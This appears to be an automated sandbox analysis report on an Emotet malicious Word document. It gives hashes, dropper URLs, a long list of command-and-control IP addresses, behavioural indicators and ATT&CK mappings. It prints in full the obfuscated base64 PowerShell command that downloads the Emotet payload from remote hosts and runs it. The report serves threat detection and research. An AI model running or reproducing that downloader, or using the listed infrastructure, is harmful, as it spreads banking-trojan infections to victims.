emotet | b71d3ce293b081d491b3ba9de486a93bba7064927ffb7ca4578925f18f319785

Analysis

max time kernel
136s
max time network
132s
platform
windows10_x64
resource
win10
submitted
04/09/2020, 20:51

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General

Target
emotet_e2_b71d3ce293b081d491b3ba9de486a93bba7064927ffb7ca4578925f18f319785_2020-09-04__204838._doc.doc
Size 242KB
Sample200904-8geyj4veb6
SHA256 b71d3ce293b081d491b3ba9de486a93bba7064927ffb7ca4578925f18f319785
MD5 f6a98c8e90d8772fcd051b42dcc119d5
SHA1 1983839860b73ad49f24245e33ddb58bfaaa42d5
SHA512 17702fab8076fb7e83545f331dbb46706effd5b9163db7d375a7ce30484024f6a8f69386844d7e775dc47d01fca0cea4e022f57ad6c85d1960962b9115eff176
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://moasocialcoop.com/wp-includes/u1weym/
exe.dropper
http://n-brake.com/aspnet_client/WiifnrD/
exe.dropper
https://www.royalsr.in/assets/jZphN4/
exe.dropper
http://online-inet.de/modules/AasIt/
exe.dropper
http://nikniek.nl/cgi-bin/7a4Y/
exe.dropper
http://exagono.com.mx/img/f/
exe.dropper
http://mlrodasepneus.com.br/index11/Cwn/

Extracted

Family

emotet

192.158.216.73:80
85.214.28.226:8080
142.44.137.67:443
162.241.242.173:8080
85.152.162.105:80
62.30.7.67:443
78.24.219.147:8080
74.120.55.163:80
169.239.182.217:8080
216.208.76.186:80
95.213.236.64:8080
200.114.213.233:8080
104.131.44.150:8080
70.121.172.89:80
75.139.38.211:80
185.94.252.104:443
97.82.79.83:80
103.86.49.11:8080
79.98.24.39:8080
83.169.36.251:8080
188.219.31.12:80
74.208.45.104:8080
137.59.187.107:8080
174.45.13.118:80
194.187.133.160:443
50.81.3.113:80
201.173.217.124:443
139.99.158.11:443
68.188.112.97:80
113.160.130.116:8443
173.62.217.22:443
139.130.242.43:80
190.160.53.126:80
137.119.36.33:80
209.141.54.221:8080
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
121.124.124.40:7080
203.153.216.189:7080
157.245.99.39:8080
85.105.205.77:8080
173.81.218.65:80
110.145.77.103:80
47.144.21.12:443
95.179.229.244:8080
187.161.206.24:80
46.105.131.79:8080
189.212.199.126:443
168.235.67.138:7080
24.137.76.62:80
85.66.181.138:80
200.41.121.90:80
5.39.91.110:7080
104.236.246.93:8080
172.91.208.86:80
99.224.14.125:80
37.139.21.175:8080
109.74.5.95:8080
1.221.254.82:80
61.19.246.238:443
5.196.74.210:8080
67.205.85.243:8080
79.137.83.50:443
94.200.114.161:80
70.180.43.7:80
190.55.181.54:443
47.146.117.214:80
89.205.113.80:80
37.187.72.193:8080
84.39.182.7:80
104.131.11.150:443
139.162.108.71:8080
87.106.136.232:8080
153.232.188.106:80
37.70.8.161:80
112.185.64.233:80
87.106.139.101:8080
94.23.237.171:443
24.43.99.75:80
203.117.253.142:80
98.109.204.230:80
93.147.212.206:80
91.211.88.52:7080
139.59.60.244:8080
176.111.60.55:8080
180.92.239.110:8080
62.75.141.82:80
174.102.48.180:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1948	2980	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	1948	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
348	J0yzkor5.exe
2936	wscadminui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\gpedit\wscadminui.exe	J0yzkor5.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 2297d99cfd82d601	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
2936	wscadminui.exe
2936	wscadminui.exe
2936	wscadminui.exe
2936	wscadminui.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3812	svchost.exe
Token: SeCreatePagefilePrivilege	3812	svchost.exe
Token: SeDebugPrivilege	1948	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
348	J0yzkor5.exe
348	J0yzkor5.exe
2936	wscadminui.exe
2936	wscadminui.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 348	1948	powershell.exe	79
PID 1948 wrote to memory of 348	1948	powershell.exe	79
PID 1948 wrote to memory of 348	1948	powershell.exe	79
PID 348 wrote to memory of 2936	348	J0yzkor5.exe	81
PID 348 wrote to memory of 2936	348	J0yzkor5.exe	81
PID 348 wrote to memory of 2936	348	J0yzkor5.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b71d3ce293b081d491b3ba9de486a93bba7064927ffb7ca4578925f18f319785_2020-09-04__204838._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABVAGQAYwAyAGIAZAB6AD0AKAAnAEMAYwAnACsAJwBpAG0AJwArACgAJwBkACcAKwAnADUAMAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBQAFIATwBmAEkAbABFAFwAWgBPADcANgBrAEYAdwBcAEwAVgBKAGsAYQBWADMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAVQBgAFIAaQBgAFQAYABZAFAAUgBvAHQATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACcAbABzACcAKwAoACcAMQAyACcAKwAnACwAIAAnACkAKwAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAxACwAJwArACcAIAB0AGwAcwAnACkAKQA7ACQAQgBpAGkAcABxADEAZwAgAD0AIAAoACgAJwBKACcAKwAnADAAeQB6ACcAKQArACgAJwBrACcAKwAnAG8AcgAnACkAKwAnADUAJwApADsAJABEADIAdgA4AHUAbgByAD0AKAAoACcATAB3AG4AeAAnACsAJwBxACcAKQArACcAbwA4ACcAKQA7ACQAWgB1AHIAaABnAGYANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBCACcAKwAoACcAdQAnACsAJwB5AFoAJwApACsAKAAnAG8ANwAnACsAJwA2AGsAJwApACsAJwBmACcAKwAoACcAdwBCACcAKwAnAHUAJwArACcAeQAnACsAJwBMAHYAagBrAGEAdgAnACkAKwAnADMAJwArACgAJwBCACcAKwAnAHUAeQAnACkAKQAgAC0AUgBFAHAATABBAEMARQAgACgAWwBDAEgAQQByAF0ANgA2ACsAWwBDAEgAQQByAF0AMQAxADcAKwBbAEMASABBAHIAXQAxADIAMQApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAEIAaQBpAHAAcQAxAGcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAMwBpADgAawBqAHcAPQAoACgAJwBSADgAYwAnACsAJwA5AGQAcgAnACkAKwAnAHAAJwApADsAJABZAGEANgBiAGwAdABrAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAHcARQBiAGMATABpAGUAbgB0ADsAJABJADkAcQBsAHYAbQBpAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACcALwAvACcAKwAoACcAbQBvACcAKwAnAGEAcwBvACcAKQArACgAJwBjAGkAJwArACcAYQBsAGMAJwApACsAKAAnAG8AJwArACcAbwBwACcAKQArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwAC0AaQAnACkAKwAnAG4AJwArACcAYwBsACcAKwAoACcAdQBkACcAKwAnAGUAJwApACsAJwBzACcAKwAoACcALwB1ADEAdwAnACsAJwBlAHkAbQAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AbgAtACcAKQArACgAJwBiAHIAJwArACcAYQAnACkAKwAnAGsAZQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtACcAKwAnAC8AYQBzACcAKwAnAHAAbgAnACkAKwAoACcAZQB0ACcAKwAnAF8AYwBsACcAKQArACcAaQAnACsAJwBlACcAKwAoACcAbgB0ACcAKwAnAC8AVwAnACsAJwBpAGkAJwApACsAJwBmACcAKwAnAG4AJwArACcAcgAnACsAKAAnAEQALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdABwACcAKwAnAHMAJwArACcAOgAnACsAJwAvAC8AdwB3AHcALgByAG8AJwApACsAJwB5AGEAJwArACgAJwBsACcAKwAnAHMAcgAuAGkAJwArACcAbgAvAGEAcwBzAGUAJwApACsAKAAnAHQAcwAvAGoAJwArACcAWgBwAGgAJwArACcATgA0AC8AJwApACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AbwAnACsAJwBuAGwAJwApACsAJwBpACcAKwAoACcAbgBlAC0AJwArACcAaQAnACsAJwBuAGUAdAAnACsAJwAuAGQAZQAvAG0AJwArACcAbwBkAHUAbABlAHMALwBBACcAKwAnAGEAcwAnACsAJwBJACcAKwAnAHQAJwApACsAKAAnAC8AJwArACcAKgBoAHQAdABwADoALwAvACcAKQArACgAJwBuAGkAawAnACsAJwBuACcAKQArACgAJwBpAGUAJwArACcAawAuACcAKQArACcAbgBsACcAKwAoACcALwBjAGcAaQAtACcAKwAnAGIAJwArACcAaQBuAC8ANwAnACsAJwBhADQAJwArACcAWQAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AZQB4ACcAKQArACgAJwBhAGcAbwBuACcAKwAnAG8ALgBjACcAKQArACcAbwBtACcAKwAnAC4AJwArACcAbQAnACsAKAAnAHgAJwArACcALwAnACsAJwBpAG0AZwAvAGYAJwApACsAJwAvACcAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvACcAKQArACcAbQBsACcAKwAoACcAcgBvAGQAYQBzACcAKwAnAGUAJwArACcAcABuACcAKQArACgAJwBlAHUAJwArACcAcwAuAGMAbwBtACcAKwAnAC4AYgAnACkAKwAnAHIAJwArACgAJwAvAGkAbgBkAGUAJwArACcAeAAxACcAKwAnADEALwAnACkAKwAnAEMAJwArACcAdwAnACsAJwBuAC8AJwApAC4AIgBzAHAAYABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAMwA5AG0AZQBrAHQAPQAoACcAVQAnACsAKAAnADYAeABoACcAKwAnAHcAOQAnACkAKwAnADkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASAB2AG8AeQBkAGcAaQAgAGkAbgAgACQASQA5AHEAbAB2AG0AaQApAHsAdAByAHkAewAkAFkAYQA2AGIAbAB0AGsALgAiAEQATwBgAHcAbgBsAE8AQQBEAEYASQBgAEwARQAiACgAJABIAHYAbwB5AGQAZwBpACwAIAAkAFoAdQByAGgAZwBmADYAKQA7ACQAVABfAHYAdwBqADgAegA9ACgAJwBEADkAJwArACgAJwBoAHkAawAnACsAJwB0AG8AJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAWgB1AHIAaABnAGYANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADMAOQA1ADMAOQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABaAHUAcgBoAGcAZgA2ACkAOwAkAFQAbwB5AHIAdgB2AHAAPQAoACcATwBlACcAKwAoACcAcAB3ACcAKwAnAG8AYQAyACcAKQApADsAYgByAGUAYQBrADsAJABOAGcAZQA4ADQAbgBtAD0AKAAnAEIAJwArACgAJwBnAGcAYwA2ACcAKwAnAG8AaQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBhADYAdQBqAGMAZwA9ACgAJwBFACcAKwAoACcAbgAnACsAJwAxADMAJwApACsAKAAnAGoAagAnACsAJwAyACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Users\Admin\Zo76kfw\Lvjkav3\J0yzkor5.exe
  "C:\Users\Admin\Zo76kfw\Lvjkav3\J0yzkor5.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:348
- - C:\Windows\SysWOW64\gpedit\wscadminui.exe
    "C:\Windows\SysWOW64\gpedit\wscadminui.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/348-15-0x0000000002230000-0x000000000223C000-memory.dmp

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memory/348-14-0x0000000002220000-0x000000000222E000-memory.dmp

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memory/1948-10-0x00000237CF810000-0x00000237CF811000-memory.dmp

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memory/1948-8-0x00007FFAB8A20000-0x00007FFAB940C000-memory.dmp

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memory/1948-9-0x00000237B6FF0000-0x00000237B6FF1000-memory.dmp

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memory/2936-19-0x0000000000750000-0x000000000075C000-memory.dmp

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memory/2936-18-0x0000000000740000-0x000000000074E000-memory.dmp

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memory/3676-0-0x00007FFAC5E90000-0x00007FFAC6556000-memory.dmp

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memory/3676-4-0x00000206CC5CF000-0x00000206CC5D8000-memory.dmp

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memory/3676-3-0x00000206CEB2F000-0x00000206CEB32000-memory.dmp

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memory/3676-2-0x00000206CEB2F000-0x00000206CEB32000-memory.dmp

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memory/3676-5-0x00000206CECF3000-0x00000206CECF8000-memory.dmp

Download

memory/3676-1-0x00000206CEB32000-0x00000206CEB37000-memory.dmp

Download

memory/3676-6-0x00000206CECF3000-0x00000206CECF8000-memory.dmp

Download

memory/3676-7-0x00000206CECEE000-0x00000206CECF3000-memory.dmp

Download